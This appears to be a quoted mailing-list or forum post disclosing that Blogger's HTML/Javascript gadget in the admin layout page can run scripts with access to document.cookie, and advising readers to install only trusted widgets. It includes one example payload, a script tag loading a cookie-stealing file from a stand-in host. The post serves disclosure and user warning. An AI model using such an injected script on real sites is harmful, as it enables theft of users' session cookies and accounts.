> Blogger cookies are usually marked with HttpOnly, so that they can't
> be stolen by gadgets.  This is a good thing.  An exception seems to be
> in the admin interface.  If you go to Layout/Page Elements, and click
> "Add a Gadget" and "HTML/Javascript", and enter <script src="http://
> evil.example.com/stealcookies.js"></script>, that script will have
> access to document.cookie.

> I don't know if the cookies this can access are sufficient to do any
> harm, but this can't be a good thing.

> This is not a simple attack -- it would probably require creating a
> widget that had some other functionality, and then convincing people
> to install it.  But it's also possible that there are easier ways to
> bootstrap it than I have found.

> I wish there were a non-public place to report security issues, but I
> couldn't find it.

> In short: Only install widgets created by people you trust not to
> steal your blogger account.